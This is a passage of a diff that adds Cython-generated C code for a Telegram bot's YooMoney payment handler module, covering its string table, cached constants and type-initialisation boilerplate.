0, 0, 1, 1}, + {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, + {&__pyx_n_s_mro_entries, __pyx_k_mro_entries, sizeof(__pyx_k_mro_entries), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_s_notification_secret, __pyx_k_notification_secret, sizeof(__pyx_k_notification_secret), 0, 0, 1, 1}, + {&__pyx_n_u_notification_type, __pyx_k_notification_type, sizeof(__pyx_k_notification_type), 0, 1, 0, 1}, + {&__pyx_n_u_operation_id, __pyx_k_operation_id, sizeof(__pyx_k_operation_id), 0, 1, 0, 1}, + {&__pyx_n_u_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 1, 0, 1}, + {&__pyx_n_u_pay_yoomoney, __pyx_k_pay_yoomoney, sizeof(__pyx_k_pay_yoomoney), 0, 1, 0, 1}, + {&__pyx_kp_u_paymentType_PC_comment_label, __pyx_k_paymentType_PC_comment_label, sizeof(__pyx_k_paymentType_PC_comment_label), 0, 1, 0, 0}, + {&__pyx_n_s_payment_url, __pyx_k_payment_url, sizeof(__pyx_k_payment_url), 0, 0, 1, 1}, + {&__pyx_n_s_post, __pyx_k_post, sizeof(__pyx_k_post), 0, 0, 1, 1}, + {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, + {&__pyx_n_s_process_amount_selection, __pyx_k_process_amount_selection, sizeof(__pyx_k_process_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_process_callback_pay_yoomoney, __pyx_k_process_callback_pay_yoomoney, sizeof(__pyx_k_process_callback_pay_yoomoney), 0, 0, 1, 1}, + {&__pyx_n_s_process_custom_amount_input, __pyx_k_process_custom_amount_input, sizeof(__pyx_k_process_custom_amount_input), 0, 0, 1, 1}, + {&__pyx_n_s_process_enter_custom_amount, __pyx_k_process_enter_custom_amount, sizeof(__pyx_k_process_enter_custom_amount), 0, 0, 1, 1}, + {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, + {&__pyx_kp_u_quickpay_form_shop_targets_sum, __pyx_k_quickpay_form_shop_targets_sum, sizeof(__pyx_k_quickpay_form_shop_targets_sum), 0, 1, 0, 0}, + {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_request, __pyx_k_request, sizeof(__pyx_k_request), 0, 0, 1, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_u_sender, __pyx_k_sender, sizeof(__pyx_k_sender), 0, 1, 0, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_set_name, __pyx_k_set_name, sizeof(__pyx_k_set_name), 0, 0, 1, 1}, + {&__pyx_n_s_set_state, __pyx_k_set_state, sizeof(__pyx_k_set_state), 0, 0, 1, 1}, + {&__pyx_n_s_sha1, __pyx_k_sha1, sizeof(__pyx_k_sha1), 0, 0, 1, 1}, + {&__pyx_n_s_sha1_hash, __pyx_k_sha1_hash, sizeof(__pyx_k_sha1_hash), 0, 0, 1, 1}, + {&__pyx_n_u_sha1_hash, __pyx_k_sha1_hash, sizeof(__pyx_k_sha1_hash), 0, 1, 0, 1}, + {&__pyx_kp_u_solonet_sup, __pyx_k_solonet_sup, sizeof(__pyx_k_solonet_sup), 0, 1, 0, 0}, + {&__pyx_n_s_spec, __pyx_k_spec, sizeof(__pyx_k_spec), 0, 0, 1, 1}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, + {&__pyx_n_s_string_to_hash, __pyx_k_string_to_hash, sizeof(__pyx_k_string_to_hash), 0, 0, 1, 1}, + {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_trial, __pyx_k_trial, sizeof(__pyx_k_trial), 0, 0, 1, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_kp_s_types_Message, __pyx_k_types_Message, sizeof(__pyx_k_types_Message), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_update_data, __pyx_k_update_data, sizeof(__pyx_k_update_data), 0, 0, 1, 1}, + {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 0, 1, 1}, + {&__pyx_kp_u_user_id_amount, __pyx_k_user_id_amount, sizeof(__pyx_k_user_id_amount), 0, 1, 0, 0}, + {&__pyx_n_s_user_id_str, __pyx_k_user_id_str, sizeof(__pyx_k_user_id_str), 0, 0, 1, 1}, + {&__pyx_n_s_waiting_for_payment_confirmation, __pyx_k_waiting_for_payment_confirmation, sizeof(__pyx_k_waiting_for_payment_confirmation), 0, 0, 1, 1}, + {&__pyx_n_s_web, __pyx_k_web, sizeof(__pyx_k_web), 0, 0, 1, 1}, + {&__pyx_kp_s_web_Request, __pyx_k_web_Request, sizeof(__pyx_k_web_Request), 0, 0, 1, 0}, + {&__pyx_n_u_withdraw_amount, __pyx_k_withdraw_amount, sizeof(__pyx_k_withdraw_amount), 0, 1, 0, 1}, + {&__pyx_n_u_yoomoney, __pyx_k_yoomoney, sizeof(__pyx_k_yoomoney), 0, 1, 0, 1}, + {&__pyx_n_u_yoomoney_2, __pyx_k_yoomoney_2, sizeof(__pyx_k_yoomoney_2), 0, 1, 0, 1}, + {&__pyx_n_u_yoomoney_amount, __pyx_k_yoomoney_amount, sizeof(__pyx_k_yoomoney_amount), 0, 1, 0, 1}, + {&__pyx_n_s_yoomoney_webhook, __pyx_k_yoomoney_webhook, sizeof(__pyx_k_yoomoney_webhook), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 110, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/yoomoney_pay.py":102 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_tuple__7 = PyTuple_Pack(2, __pyx_kp_u__6, __pyx_int_1); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__7); + __Pyx_GIVEREF(__pyx_tuple__7); + + /* "handlers/payments/yoomoney_pay.py":178 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yoomoney")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__17 = PyTuple_Pack(1, __pyx_kp_u__16); if (unlikely(!__pyx_tuple__17)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__17); + __Pyx_GIVEREF(__pyx_tuple__17); + + /* "handlers/payments/yoomoney_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< + * async def process_callback_pay_yoomoney( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __pyx_tuple__23 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__23); + __Pyx_GIVEREF(__pyx_tuple__23); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__23, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_callback_pay_yoomoney, 38, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 38, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":98 + * + * + * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__24 = PyTuple_Pack(1, __pyx_n_u_yoomoney_amount); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__24); + __Pyx_GIVEREF(__pyx_tuple__24); + __pyx_tuple__25 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_customer_id, __pyx_n_s_account_id, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__25); + __Pyx_GIVEREF(__pyx_tuple__25); + __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__25, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_amount_selection, 98, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 98, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":137 + * + * + * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") + */ + __pyx_tuple__26 = PyTuple_Pack(11, __pyx_n_s_request, __pyx_n_s_data, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_notification_secret, __pyx_n_s_sha1_hash, __pyx_n_s_string_to_hash, __pyx_n_s_calculated_hash, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__26); + __Pyx_GIVEREF(__pyx_tuple__26); + __pyx_codeobj__11 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__26, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_yoomoney_webhook, 137, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__11)) __PYX_ERR(0, 137, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":171 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__27 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__27); + __Pyx_GIVEREF(__pyx_tuple__27); + __pyx_codeobj__14 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__27, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_enter_custom_amount, 171, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__14)) __PYX_ERR(0, 171, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":186 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __pyx_tuple__28 = PyTuple_Pack(7, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_customer_id, __pyx_n_s_account_id, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__28); + __Pyx_GIVEREF(__pyx_tuple__28); + __pyx_codeobj__18 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__28, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yoomoney_pay_p, __pyx_n_s_process_custom_amount_input, 186, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__18)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_float_0_0 = PyFloat_FromDouble(0.0); if (unlikely(!__pyx_float_0_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_200 = PyInt_FromLong(200); if (unlikely(!__pyx_int_200)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_400 = PyInt_FromLong(400); if (unlikely(!__pyx_int_400)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney)) __PYX_ERR(0, 38, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 98, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook)) __PYX_ERR(0, 137, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount)) __PYX_ERR(0, 171, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input)) __PYX_ERR(0, 186, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 186, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input = &__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input) < 0) __PYX_ERR(0, 186, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject 